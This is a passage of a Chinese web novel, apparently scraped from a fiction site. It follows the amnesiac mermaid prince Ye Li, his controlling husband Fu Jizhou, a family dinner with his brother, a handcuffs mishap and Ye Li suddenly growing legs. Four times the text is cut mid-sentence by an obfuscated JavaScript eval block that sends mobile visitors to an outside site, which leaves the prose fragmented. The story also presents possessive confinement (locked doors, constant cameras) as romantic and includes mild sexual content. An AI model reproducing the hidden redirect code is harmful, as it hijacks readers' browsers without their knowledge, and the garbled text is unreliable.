按照叶鲤的记忆,他和大哥不过是只有这半个月没见面。而这半个月他被傅寂洲拎回家养的很好,对网络和泡面的钻研早就冲淡了他对大哥的微不足道的思念。 记不清战火和动乱的小鱼,也忘记了那场绝望惶恐的离别。 傅寂洲不动声色的压下心底的疼惜,只克制的揉了一把滑溜溜的鱼尾。 他回忆道:“内敛温和,不太爱说话。” 叶鲤眼前一黑,他大哥三棍子都憋不出一个屁,再来一个不爱说话的大嫂,他们家还有救吗? 叶鲤皱眉打量了一番傅寂洲,悲哀的发现傅寂洲对外也冷冰冰的不爱说话,只在他面前叭叭叭。 哎,他们这一家四个人,全要靠他叶鲤一个人独挑大梁了。 —— 第二天,弟媳傅寂洲邀请大哥叶慕、大嫂时汲回家吃顿便饭的报告,经过了层层审批,终于勉强通过了。 吃顿便饭的意思是,傅寂洲提前以天吩咐手下去濑户内海空运蓝鳍金枪;用锁鲜机直达的挪威帝王蟹,连碎冰都是原产地的海水特冻而成;别墅上下所有被鲨鱼挠成流苏的窗帘全部换新,地板擦的锃亮,明晃晃的能当镜子照。 叶鲤这次真没捣乱。 其实按理说如果餐桌上只有叶慕和傅寂洲,叶鲤绝对把这场家宴按照自己的想法布置。 主菜才不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156178|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么大闸蟹生鱼片,太俗太俗。 叶鲤大厨会亲手做出最美味的火鸡面给众人呈上桌,这才是国宴嘛! 但是一听到素未谋面的大嫂也要一同前来,叶鲤火速把成箱的火鸡面藏进某个不知名客房,把四海为家的鲨鱼塞进猫窝,把地上乱丢乱放的赤橙黄绿青蓝紫的首饰品一股脑堆进卧室,整个家焕然一新。 傅寂洲沉默的抱臂看着,暗暗咬牙。 原来他家叶鲤不是什么都不懂,不过是专门和他傅寂洲对着干罢了。 叶小鲤,等大哥大嫂吃完饭一走,你就等着挨亲吧,傅寂洲在心中默默发誓。 当日晚七点。 一辆低调的特制防弹黑色轿车缓缓驶入傅寂洲的家中。 车门滑开,叶慕迈出一只脚,目光掠过傅寂洲笔挺的西装与那一排肃立的保镖,眉峰微挑:“阵仗不小。” 傅寂洲欠身,掌心向内,姿态恭敬:“大哥远道而来,东联盟本该低调接风。今晚家宴小聚,没外人,咱们先吃顿便饭。” 叶鲤也堪称隆重的坐在轮椅上,上衣是白色衬衣,尾巴上盖了一块针织米白小薄毯,主打一个亲和素净。太阳即将坠入地平线,身后的火烧云暗红,今天的最后一缕光辉照在叶鲤身上,光亮在他蔚蓝色的眼睛里。 他出大门前还被傅寂洲打量了好几遍,现在和傅寂洲待的久了,傅寂洲一个眼神叶鲤就知道自己嘴巴不保,迅速操控着轮椅推门出来。 叶慕下车后先不着痕迹的观察了一番,这套独栋别墅的占地面积比起海底的宫殿自然是差得远,花园太小,喷泉材质一般,一排修剪得当的灌木被翻土做成了小菜园,像是狗啃了一样。 叶慕收回视线,在心里暗叹一声。 这三年,真是委屈了叶鲤。 夫夫两人站在2500平方米的独栋别墅门口,谁也不知道大哥面无表情地在想什么。 —— 叶鲤眼巴巴盼了一天,终于见到了大嫂。 和傅寂洲说的一样,大嫂不是那种能雷厉风行一个眼神就能压下大哥气场的人,反而是一个看着很温和的青年。 “这是时汲。”叶慕介绍着身边的青年,声音罕见的柔和平静。 时汲半蹲了下来,和轮椅上的叶鲤平视,笑起来棕色的眼睛弯弯的:“你好呀,我有听叶慕提起你,你可以叫我阿时。” 时汲的声音不高,却像潮水漫过鱼尾,温温热热地贴上皮肤。 叶鲤眨了一下眼,睫毛在脸颊投下一小片晃动的阴影。时汲蹲下时带着一阵微风,叶鲤能闻到空气里的味道,微咸、带着夜里退潮后的凉意,和大哥的气息一模一样。 叶鲤心脏“咚”地撞了一下胸腔,像一条小鱼跃出水面又落回去。 原来这就是他的大嫂。 叶鲤对他的好感度飙升,露出了自己最乖的笑:“阿时,我可以叫你大嫂吗?” 时汲被叶鲤的直白搅的惊讶了一瞬,随后抿唇笑道:“可以。” 站在身旁的叶慕轻微勾了勾唇角。 如果说在此之前叶鲤还会怀疑大嫂的真假,但是现在,他悄咪咪往旁边看了一眼,他大哥的手虚虚握着大嫂的手,步调和大嫂保持一致,哪怕两个人没有视线交流,身体却默契的并肩走在一起。 叶鲤彻底放心了,大嫂不是被迫和大哥在一起的。 这可能就是人类口中的萝卜白菜各有所爱,他哥这样的鱼竟然也能有自己的春天。 14. 今天很乖 傅寂洲头一天晚上给叶鲤做足了思想功课,捏着他的脸颊肉暗戳戳的威逼利诱:“记得夸一夸我这90分的成绩。” 并给叶鲤展示了他刚刚下单的几枚绝美钻石的付款界面。 叶鲤嗯嗯点头。 信誓旦旦地说包在他身上。 但傅寂洲仍觉不放心,他坐在新定制的豪华款金丝楠木餐桌旁,挽了挽袖子,沉思起来。 吃饭的时候怎么当着叶慕的面秀恩爱? 傅寂洲回忆军队那群小子出的主意,什么当着大哥的面把鱼肉的刺剔出来喂给叶鲤、聊几句叶鲤最喜欢的东西证明自己平日很上心……没一个能用得上。 剔鱼刺的活自有厨师来干,至于聊天,他总不能对着一桌子海鲜真挚的对大哥说:“是的,叶鲤喜欢吃泡面。” 叶鲤只顾着和大嫂说话,不知道傅寂洲在琢磨些什么。傅寂洲pass掉所有损招,无奈地给叶鲤夹了一片鱼肉,示意他先吃再聊。 叶鲤眼睛看都不看就往调料汁里面沾,傅寂洲眼疾手快把叶鲤筷子底下的芥末酱换成油醋汁。 并皱眉把叶鲤身前的芥末酱给撤走了。 叶慕静静看着,眼中笑意一闪而过。 —— 叶鲤左手边是傅寂洲,右手边是大嫂。 他为了在大嫂面前留一个好印象,做足了功课,听说人类对吃饭很重视,开场必问“吃了吗”“吃了啥”。 在人类之间的交流中,互相分享自己喜欢的菜品是最不容易出错的方式。 “我喜欢吃面,各种面。”叶鲤热情的和时汲搭讪。 他在海底生活了十几年,对泡面的研究比鱼肉还多。 傅寂洲听见后下意识瞥了他一眼,警铃大作。 不能让他们知道叶鲤被他养出吃泡面的坏习惯。 傅寂洲警惕的像是拆解前线地雷,谨慎说道:“面里还能烫生鱼片,还能卧个蛋,营养丰盛。” 这句话似曾相识,叶鲤疑惑的挠挠头。 这不是他的台词吗? —— 这顿饭吃的有惊无险。 饭后,叶慕把叶鲤喊了出来,傅寂洲下意识握住叶鲤的手腕,片刻后松开。 “外面有风,早些回来。” 人鱼两兄弟两人一站一坐,打量着对方。 叶慕似有所感,偏头往室内看去,傅寂洲不知何时站在了窗前,坦然和他对视。 从第一次见面,傅寂洲带着兵把他和时汲从渔村带出来时,他就很欣赏这位年轻人。 冷静睿智,沉稳可靠。 但婚姻并不是政坛,如果他的弟弟不喜欢,他会不惜一切代价,从傅寂洲手中夺回叶鲤。 但令人惊讶的是,他不在的这三年,这两个年轻人貌似十分恩爱。 “大哥,傅寂洲对我很不错,我想留在大陆上。” 叶慕垂眼看着自己不谙世事的弟弟,声音不怒自威:“傅寂洲教你这样说的?” 叶鲤:“……” “哥,我马上……咳,我已经成年了。” 叶鲤没有告诉大哥自己失忆的事情,现在大哥回来肯定是公务缠身,他这点小意外就不要再让大哥费心了。 “成年了?我倒是觉得你还和几年前一样,只顾着玩。”叶慕一针见血。 叶鲤因为心虚没吭声,叶慕倒是皱眉看着他圆圆的发顶,再次言归正传:“你真的选择留下来?” “不是因为两族的联姻交易,是真的因为傅寂洲这个人而选择留下来?” 叶鲤十五六岁就偷偷往岸上跑,他喜欢一切新鲜好玩的事物,不管那些乱七八糟的政治联姻,他一定是选择在岸上再玩一段时间。 泡面、鲨鱼、手机、快递……这一切他都喜欢。 但是叶鲤想了想,最后认真对大哥说:“对,是因为傅寂洲留下来的。” 这一切好玩的东西,都是傅寂洲带给他的,他不能忘本。 而且如果他真这样走了,晚上傅寂洲睡觉时说不定会哭鼻子。 叶慕觉得哪里有些奇怪。 直觉告诉他,真爱不是这样的。 他有爱人,他对时汲的感情强烈到自己都胆战心惊,但是叶鲤看向傅寂洲时的眼神…… 不太对。 明明两人的行为那么亲昵,远看近看都是恩爱的一对儿,但硬要说的话,叶鲤看向傅寂洲的视线太过于纯粹。 爱情不是完全纯粹的,爱情夹杂着欲念、惶恐、担忧…… 但如今这种感觉,他只在傅寂洲眼睛中看出来了。 叶慕沉默半晌,对亲爱的弟弟妥协道:“好吧。等你什么时候玩够了,再回家也不迟。” “那大哥要带子民回家吗?”叶鲤看着叶慕一身裁剪得体的西装,心中其实有了答案。 叶慕:“人鱼族落后人类文明太多,之前故步自封也就罢了,如今既然上岸,哪有再当缩头乌龟的道理。” 人鱼有一条祖训是:“把陆地留给陆地,海洋还给海洋”。 然而到了他坐上王位之时,恪守祖训只带给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156179|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了海洋和子民无尽的灾难。 灾难从未因此退潮一寸。 夜深了,晚风吹起叶慕鬓边的金发,这一刻,就连见惯了大哥模样的叶鲤也忍不住微微屏息。 叶慕是天生的王,如今王踏足大陆,低沉开口:“我们要让陆地学会敬畏……既然旧律救不了我们,那就由我来重写律条。” —— 把大哥大嫂送走后,大门刚刚关上,叶鲤就被傅寂洲抵在玄关,抬起下巴用力吻了上去。 旖旎水渍回荡在大厅。 叶鲤脊背被迫紧贴着轮椅,傅寂洲就单膝跪在他面前,距离近到连傅寂洲剧烈跳动的心脏他都能听到。 三分钟后,叶鲤因为缺氧,抬起尾巴戳了戳跪在他前面的大腿。 傅寂洲稍稍后撤几毫米,唇贴着唇,张口说话时暧昧的和叶鲤的唇角相贴。 他的半张脸因为角度问题隐没在暗处,像是终于卸下了伪装,甚至显出了一丝阴翳。 “今天很乖。” 叶鲤点头,鼻尖随着动作磕到了傅寂洲硬挺的鼻梁。 他摸了摸鼻子。他当然很乖,这种没有争议的事情就不必拿来说了。 傅寂洲继续问:“和大哥说了什么?” “机密。” 关于大哥问他要不要回家这种小事,早就在七秒之后被叶鲤忘掉了,他只记得大哥准备大刀阔斧改革时候的帅逼模样,但那是政治机密,他从小就知道不能随便说出去。 说不定过几年风云诡谲,东联盟成为大哥的盘中餐,傅寂洲就是大哥的敌人,他还得扮演卧底角色,偷偷把傅寂洲策反。 ——以上内容来自叶鲤小王子被没收手机后连看三天电视剧产生的幻想。 不料下一秒幻想就被戳破了。 “他不准备带你们回去了。”傅寂洲这句话甚至是一句陈述句。 叶鲤缓缓张大了嘴巴。 傅寂洲见缝插针,对着叶鲤的嘴使劲嘬了一口,什么政治机密统统不谈。 水声又响亮起来。 “乖,再亲一口。” 叶鲤城门失守,再次被吃干抹净。 只能喘着气控诉傅寂洲很坏。反反复复的那几句没有威慑力的骂声,反而让人变本加厉。 傅寂洲高高大大的,即使蹲在他尾巴边也是很大一坨。 高大身影投落下来的阴影遮住了叶鲤的视线,他被困在这一方小空间动弹不得。 以至于他完全没有看见,傅寂洲腰间有一双崭新的、尚未使用过的手铐。 15. 手铐 被亲对于叶鲤来说是一件很累人的事情,特别是这样被困在玄关的小角落,果木香蔓延,他连逃走都做不到。 “我们不能回到以前吗,”叶鲤叹气,“你伸舌头进来我就喘不上气,而且你揽的太紧,胳膊又硬,硌到我好几次了。” 傅寂洲手劲收了收,看来沟通很有效果。于是叶鲤变本加厉的控诉:“还有你腿中间的棍子,也要克制一下,顶到我腰上不舒服……” 管家若无其事的从旁边经过,傅寂洲眼疾手快捏住了叶鲤的嘴,止住了他绵绵不绝的吐槽。 扁嘴鸭叶鲤:?! “唔唔唔!唔唔唔唔唔唔!” 听不懂,但能感觉骂的很凶。 “你出门问问,谁家不是这样亲嘴的?你学不会换气还赖我?”傅寂洲低声说道。 叶鲤用眼睛瞪着傅寂洲,一副“我才不信你鬼话”的模样。 反正米奇不会这样亲米妮,辛巴不会这样亲娜拉。 傅寂洲看了他一会,决定今晚给叶鲤放点成人看的影片。 连他自己都没察觉到,自己眼中的阴鹜冲散了些。那些因为叶慕探访带来的不安被轻易抹平。 失忆前,叶鲤不会开口和他交流,眼神冷漠疏离,他只要靠近片刻,叶鲤就警惕的盯着他,好像他是怎么洪水猛兽一般。 而如今,叶鲤被他养在家里,不再乱跑乱游,甚至有一个近在咫尺的机会摆在他面前,他也没有选择离开。 也对,现在的叶鲤,根本不知道什么叫圈养。 家里的门锁着,全方位无死角的摄像头照着,他依旧不谙世事的躺在傅寂洲睡过的床上,穿着他精心准备的衣服,等着自己下班回家。 傅寂洲抚摸着叶鲤圆圆的后脑勺。失忆后多久能康复谁也说不准,如果叶鲤一直记不起来,是不是就能忘记那些痛苦,忘记和他争执的时光? “……” 傅寂洲垂下眼皮,叶鲤的眼睛是澄净的蔚蓝色,他甚至能从叶鲤澄净的瞳孔中看到自己的欲望和阴鹜。 傅寂洲下意识挪开了眼睛。 “好了,吃饱了就回卧室吧,我去给你放泡澡水。” 他最终也没有拿出手铐。 —— 家里的浴缸是常规版的瓷白色,叶鲤迷上泡澡后的第二天,就把五彩缤纷的彩色贴纸贴在了浴缸外侧。 叶鲤一周至少要泡两次澡,浴室湿度大。 因此放水、清洁浴缸的工作傅寂洲包揽了不说,连小贴纸都需要傅寂洲仔细注意,随时要把失去粘性的贴纸扔掉,换上新的。 那双叱咤风云、昔日在东联盟翻手为云覆手为雨的大掌扣下一枚黄油小熊贴纸,谨慎的贴在了原位置。 傅寂洲拿出奶香味香氛泡泡盐,按照叶鲤交代的那样均匀洒进浴缸,又娴熟地点上了同款香氛。 浴缸里的浴球必须是多巴胺颜色,还必须要用新鲜花瓣点缀,最好再倒入一袋纯牛奶,傅寂洲一向做的很好。 这些叶鲤不是不会做,但是傅寂洲享受叶鲤进来时眼睛亮亮的神色。 哪怕叶鲤就只“哇”了一声。 “行了,一切准备就绪,进缸吧祖宗?”傅寂洲推开浴室门,提高了音量去卧室抓鱼。 叶鲤背对着他躺在大床上,他已经脱下了衣服,准备就绪,只等着傅寂洲上门邀请。 青年手肘撑着床面不知道在玩什么,以至于从傅寂洲的角度看去,叶鲤的肩胛骨弧度优美,皮肤在灯光下发出温润荧光。 傅寂洲在门口驻足了许久,才清了清嗓:“别玩了,去泡澡。” 叶鲤扭腰看向他,白金色的头发从肩头披散到腰际,遮住了更多的潋滟春光,却露出两个诱人的腰窝。 他双手被手铐拷住,只好不得已求助身后的始作俑者, “帮帮我,我摘不下来了。” —— 叶鲤进门就看到傅寂洲随手扔在地上的圆镯子。 这是什么新型潮流,两个镯子还拴在一起,叶鲤低头琢磨了一会,成功把自己的腕子放进去扣上了。 款式不是叶鲤喜欢的,叶鲤只拿着玩玩,很快就无聊要取下来。 他扣了扣手镯缝隙,却扣不开。 一开始叶鲤没当一回事,只是慢吞吞的继续扣,顺便拿起手机,同意了大哥大嫂的好友申请。 直到十分钟过去了,叶鲤皱着眉慢慢低头,发现这丑镯子还在手腕上。 嘿,他就不信了,这玩意还能摘不掉? 叶鲤又努力了十分钟。 o.O? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156180|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是正经手镯吗? 还是说他会认主?! 叶鲤不懂,叶鲤震惊,叶鲤转身举着双手求助。 傅寂洲也不知道在他背后看了多久他的笑话,叶鲤有求于人又不好发作,抿着唇把双手往他面前递了递。 傅寂洲表情变幻莫测,在叶鲤还没察觉到危机的时候冷冷一笑,居高临下地跨坐到他身上,表情堪比大反派。 “这是你自找的。” 叶鲤眼神一凛,转身就要往往床下爬,被傅寂洲一手扣住尾巴,一手扣住后脑勺,毫不迟疑地吻了上去。 …… “咳,叶鲤,手机掉地上了。” 床底,不知道何时点开的视频通话幽幽亮着光。 远在数十公里以外的东联盟最高接待所,时汲默默把屏幕扣上,再把肩膀上凑过来的帅脸捂严实了,使劲往后一推, “我们什么都没看见!” —— “不原谅!”叶鲤板着小脸坐在浴缸里,任凭傅寂洲讨好的举着小刷子给他刷鱼尾。 “你要讲道理,视频被误触是意外,况且大嫂说了他们没看见。” 叶鲤把泡沫拢的高高的,堆在自己眼前,单方面和傅寂洲划了条三八线, “不原谅,就算没看见也有声音。”叶鲤恨不得把脑袋埋在泡沫里。 他也不知道为什么,每次傅寂洲摸他的腰和尾巴,他都忍不住哼哼。 如果真的被大哥大嫂听到了,他一定含泪把那个罪恶的丑镯子给砸烂,这样才能解心头之羞耻。 傅寂洲:“……” 自这件事以后,叶鲤对手铐深恶痛绝,傅寂洲遗憾把手铐锁进了书房。 这件事随着东升西落的太阳一起被遗忘在角落。 直到几天后的一个平常下午,叶慕破天荒的向他发消息,询问手铐的购买途径。 “……几年前在前线为了消遣日子,随便弄的,”傅寂洲飞快的看了一眼身边津津有味观看《海洋奇缘》的小鱼,转头对着笔记本屏幕一脸认真的说道, “我认识几个店家,还会做一些别的,待会推给你。” 家里这双不给。 那是他早年按照叶鲤的手腕粗细,一点点画稿打磨了数夜,亲手制作的孤品。 16. 鱼有腿了 傅寂洲翻了翻家里电视的浏览记录。 叶鲤竟然在不知不觉中看了这么多动画片,从汪汪队立大功到黑猫警长,从大耳朵图图到百变马丁,甚至还有傅寂洲没听过的《地狱客栈》。 纯英文版字幕,怪不得有几天叶鲤时不时哼哼一声“fuck”。 自幼没人管束、童年在混乱孤儿院度过的傅寂洲从来没看过这些动画片,如果叶鲤找他聊起来,他什么都答不上来。 傅寂洲拿着手中的遥控器,有一瞬间的怅然。 但是总看动画片也不是个事儿,傅寂洲决定找几个爱情电影给叶鲤启迪启迪,免得他再嚷嚷“傅寂洲有接吻伸舌头的特殊癖好”。 但是出于某人低劣的控制欲和占有欲,他又把太露骨的影片排除掉,后来选来选去,最后皱眉盯着影片目录看了半天,鬼使神差的把目光停留在《怦然心动》上。 他很久之前看过这部电影,D区生活物资匮乏,连手机设备都没有普及。每隔半个月,院长会拿出老古董投影仪,在孤儿院播放露天电影。 这并不是院长大发善心,而是做样子给前来领养孩子的夫妇看。 大多夫妇只喜欢乖巧可爱的孩子,像傅寂洲这样不爱笑不说话的小孩会被自动忽视,他于是成为了全院唯一一个真的看电影的孩子。 那时他看《怦然心动》,对里面懦弱的男孩不屑一顾,耐着性子看到结局,却发现女孩没有给男孩教训,两人还是成功牵手了。 靠,这世界怎么会有这么愚蠢的人,上赶着去爱一个不爱自己的人,年轻的傅寂洲不爽的想。 直到后来他遇见叶鲤,心甘情愿上赶着努力这么久,再也没资格置喙别人了。 当天晚上,叶鲤就被独断专权的傅寂洲关掉了看了半集的大耳朵图图。 叶鲤不高兴地瞪着挤坐在他身边的男人。 沙发这么大,偏偏要和他挨的紧紧的,傅寂洲身上又这么热,如果换做是一个肚量小的鱼,傅寂洲一定会挨揍。 “今晚我有空,一起看个电影。” “为什么要看电影,”叶鲤试图说服傅寂洲,“你不忙了可以早点休息,或者陪我看动画片。” 傅寂洲想反驳说你已经是个成年鱼了,总看动画片影响智商。 刚转过头就发现叶鲤眼睛里带着小怨气,到嘴的话也变了:“……行,那就动画片吧。” 成人恋爱教育计划今日已成功搁浅。 荧幕上光映在叶鲤脸上,蔚蓝瞳孔里有小人跳跃,傅寂洲慢慢调整坐姿,靠在沙发上,漫无目的的看着叶鲤放空。 叶鲤和叶慕眉眼多少有些相似,但叶鲤从小到大应该是没被欺负过,也没受过什么委屈,鼻头和眼睛没有锋利的线条感,反而因为年纪小的缘故,多了很多的天真可爱。 电视里的胡图图在大声唱着儿歌,叶鲤跟着随便哼哼了几句,人鱼与生俱来的天赋使他嗓音空灵美妙。 蝉鸣隐约从纱帘后面传来,几步之外,管家悄悄踮着脚把除了客厅之外的灯光全关了,只有叶鲤头上的氛围灯亮着,把叶鲤白金色的发丝映的金灿灿的。 内心柔软的地方像是被鱼尾巴轻轻拨弄了一下,傅寂洲拉着手边的一缕长发:“再唱一遍。” 简单欢快的旋律叶鲤总是很喜欢,趁着一集结束,叶鲤转过头哼道:“答对问题亲一下~这就是我的奖励~~” 比起被傅寂洲威逼利诱下在小课堂学的那些三瓜两枣,动画片才是叶鲤真正的老师。 现在的叶鲤除了极个别的一些长难句,已经能流利的用汉语表达任何诉求了。 聪明之程度引起了全家上上下下一致称赞,让傅寂洲一度以为自己误入了幼儿园。 叶鲤一曲唱完,下巴抬起,很神气的等着傅寂洲夸他。 但傅寂洲只是神色莫名的看着自己。 叶鲤一错不错的和他对视,希望眼睛没问题的傅寂洲能看到自己眼中的期许。 片刻后,叶鲤揉了揉干涩的眼睛。 “你不觉得唱得很好听吗?”他沉不住气,质问道。 “好听。” “那你怎么不说话?” 傅寂洲过了一会,笑了笑说:“这是我第一次听,不小心听入迷了。” 二十三岁的自己没给傅寂洲唱过歌?叶鲤不信。 傅寂洲却不再多说,叶鲤猜他是撒谎圆不下去了,哼了一声转头再看一集。 后面傅寂洲都没有再打扰他,直到夜深了,他阖着眼靠在了叶鲤的肩头。 —— 叶鲤是没有能力把睡着的男人抗回卧室的。 这么浩大的工程应该交给管家伯伯来做,但叶鲤并没有在视线范围之内看到任何人的身影。 叶鲤摇了摇傅寂洲的胳膊,后者闷哼一声,揽住了他的腰。 不是都说军人会随时保持警惕吗,傅寂洲能在他身边睡这么熟? 叶鲤搞不懂,只好把傅寂洲放平,又看了一眼呼呼吹风的空调,很大方的把自己的小毯子盖在男人身上。 一般情况下,傅寂洲睡觉的时候,叶鲤心情好就会守夜——趴在床的另一侧玩手机刷视频,被营销号骗几滴眼泪,最后全擦在傅寂洲的睡衣上。 心情不好时他就跑去和鲨鱼睡,这是为了惩罚傅寂洲不给他手机玩——这种情况大概率会被半夜惊醒的傅寂洲黑着脸拎回去,心甘情愿交出手机给叶鲤。 但是沙发实在不够叶鲤和傅寂洲两人躺,他今晚决定抛弃傅寂洲去找鲨鱼。 轮椅就在尾巴旁边,叶鲤像往常一样从沙发上滑到轮椅上,尾巴忽然一麻,身体重量在这瞬间轻了下来,叶鲤眼疾手快抓紧了傅寂洲的胳膊。 差点呲溜坐在地上,叶鲤上肢核心力量爆发,唰的抱紧了男人的脖子,好险没有摔到。 傅寂洲几乎是在瞬间睁开了眼睛,黑色眼眸里没有一丝睡意。 “怎么看个动画片还爬上爬下的?”语气中没有训斥,只是皱眉把青年揽进怀里, “摔疼了没。” “没有,我很敏捷。” 叶鲤的声音随着他视线向下看去时戛然而止。 他难以置信的闭了闭眼睛,又睁开,原本的蓝色尾巴不见了,取而代之的是两条白色的、滑溜溜没有鳞片的人腿。 “!!!” 叶鲤瞪大了眼睛:“我那么大一条尾巴呢?!” 傅寂洲被叶鲤压在身下,发丝从叶鲤瘦削肩膀滑落,垂在他眼前,青年全身重量压在胸口,傅寂洲竟产生了一丝诡异的满足感,把鱼往身上抬了抬。 从他的角度看过去,只能看到盛满微光的腰窝,和两团雪白绵软的山丘,随着两人的呼吸起伏微微晃动。 他一愣,这是……人腿?! “怎么了?小王子你还好吗?”刻意避开小年轻独处时光的管家听到一阵叮叮咣咣的声音,紧接着又听到叶鲤大叫,吓得急忙赶来。 傅寂洲眼皮一跳,迅速把小毛毯往叶鲤屁.股上一盖,手肘一撑,把叶鲤卷在自己身下。 “好得很,都退下,今晚不用守着。”傅寂洲声音及时传来,管家的脚步声停下了。 叶鲤眼睛瞪得圆圆的,还沉浸在忽然变腿的惊讶当中,以至于某人的手对着他屁.股蛋捏了一把时,他没有第一时间反应过来。 “这么软。”傅寂洲低声嘀咕了一句。 又飞快一路往下捏,连脚趾也没放过。 叶鲤被捏的痒痒,但又和有鱼尾时的痒不太一样,他兴奋地推了推傅寂洲:“你快从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156181|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我身上下来,我要走路!” 太好了,他现在是有腿的鱼! 傅寂洲没松手,把小毛毯在叶鲤腰间围了一圈,把试图裸奔的叶鲤扛去了楼上卧室。 “光着屁.股不能乱跑,”傅寂洲在叶鲤的衣柜里找到了三年前结婚时给他准备的内/裤,拿在手里看了片刻,又塞回了柜子深处,转身去旁边柜子里拿出了自己的, “先穿上,明天给你买新的。” 叶鲤正坐在床上,以一个正常人想不到的奇怪姿势掰着自己的腿,眼睛里露出满意的姿色。 不愧是他,连长出来的人腿都这么长这么白,而且还滑溜溜的,没毛。 “是,忽然之间变出来的……捏过了,他没喊疼,骨头也没长歪。我明天带他去做检查。” 傅寂洲肩膀夹着电话,一只手拎着他的脚踝,一只手抓着内/裤,废了一番功夫才把内/裤从叶鲤小腿提上去。叶鲤正是兴奋的时候,也不在乎这条内/裤是寡淡的黑色,而且还宽宽大大的,漏风。 他兴冲冲的穿着黑色大内/裤,站在了大床中央,他起身时摇晃了一下,不过好在十颗圆润的脚趾紧紧抓住了床单,有惊无险。 他第一次用这种居高临下的视角看向傅寂洲:“怎么样?” 傅寂洲视线落在和叶鲤格格不入的大内/裤上,很好的掩饰住眼中的情绪,抬头捧场的鼓了鼓掌:“真棒。” 不枉他花高价为叶鲤养了个医疗团队,每天给鱼尾按摩、疗养,总算把鱼又养好了一些。 叶鲤的人腿修长笔直,傅寂洲刚刚才从头到尾摸了一遍,现在又开始手痒。 和他无数个深夜梦境里的触感一样好,不,比他幻想中的还要动人。 叶鲤就该是这样的白,这样的嫩。 叶鲤是一条不经夸的鱼,现在长出了人腿,也是一个不经夸的人。 他像一只高贵无比的小天鹅,仰着脑袋雄赳赳气昂昂地往前迈了一步,结果由于根本没有练过走路,两腿一软,直直摔在了傅寂洲身上。 “啊?——嘶!” 叶鲤一鼻子撞在傅寂洲身上,瞬间一股酸胀感直冲天灵盖。 这和他想的不一样,腿是不听使唤的! 这一下撞得太痛,后半夜,傅寂洲在叶鲤骂骂咧咧的声音中匆匆拿了冰块给他冷敷,又是亲又是揉的安慰了一番,不过傅寂洲喜欢的方法叶鲤拒绝采用,于是傅寂洲得到了一条更暴躁更骂骂咧咧的小鱼。 好在他最后灵光一闪,脱口而出:“明天我把我的手机给你玩。” 这才终于赶在天光大亮之前眯了一眼。 第二天,傅寂洲依靠着强大的生物钟在六点整准时睁开眼睛。 因为通宵熬夜造成的眼睛酸涩令他不适地蹙了蹙眉。 他昨晚做了梦,梦到叶鲤长出人腿了。 叶鲤鱼尾的正中央被刀伤过,有一道长长的疤痕,不能剧烈运动。叶鲤上岸后开刀做手术取出了铁渣,鱼尾不疼了,却因为受过伤迟迟分化不出人腿。 谁也不知道叶鲤何时能彻底康复,想要和爱人并肩散步的愿望被傅寂洲深埋心底,没拿出来说过。 “……” 傅寂洲平复一会心情,颇为回味的闭眼笑了一声,这梦也是奇怪,他竟然拿着自己的内裤给叶鲤穿。 旁边叶鲤趴在傅寂洲身边,奇怪的推了他一把:“你笑什么?” 傅寂洲睁开眼睛。 叶鲤的睡衣领口大了些,傅寂洲能一眼望到底,他再转眼一看,两条人腿压在他身上。 ……起猛了。 他把手肘挪到眼前,遮住了晃眼的白色,叶鲤却把他的胳膊拉开了,声音脆生生的, “你不是说要教我走路吗,怎么还不起床?” 17. 吻痕 傅寂洲捏着他的大腿根,再三确认手中温热细腻的手感,终于想起了昨晚的事情。 “乖,先去医院,回来再教你走路。” 叶鲤昂了一声,穿上精挑细选出的荧光蓝短裤,口袋上还有彩虹小马的贴画。 傅寂洲跪在地上给他套袜子:“鞋子呢?快点选,你这会不困了?” 叶鲤有些犯难。 管家按照他的审美,给他准备了好多缤纷水果色球鞋,每一双颜色都漂亮,他托着腮看了半天,最后叹了口气。 “我选不出来。” 傅寂洲随手捞过一双就往叶鲤脚上套。 “不不,你都没有认真选……” “认真了的,你看这个颜色 ,有蓝有青还有紫,多丰富。”傅寂洲用劲毕生所学,狠狠夸了一通。 叶鲤这才不吭声了。 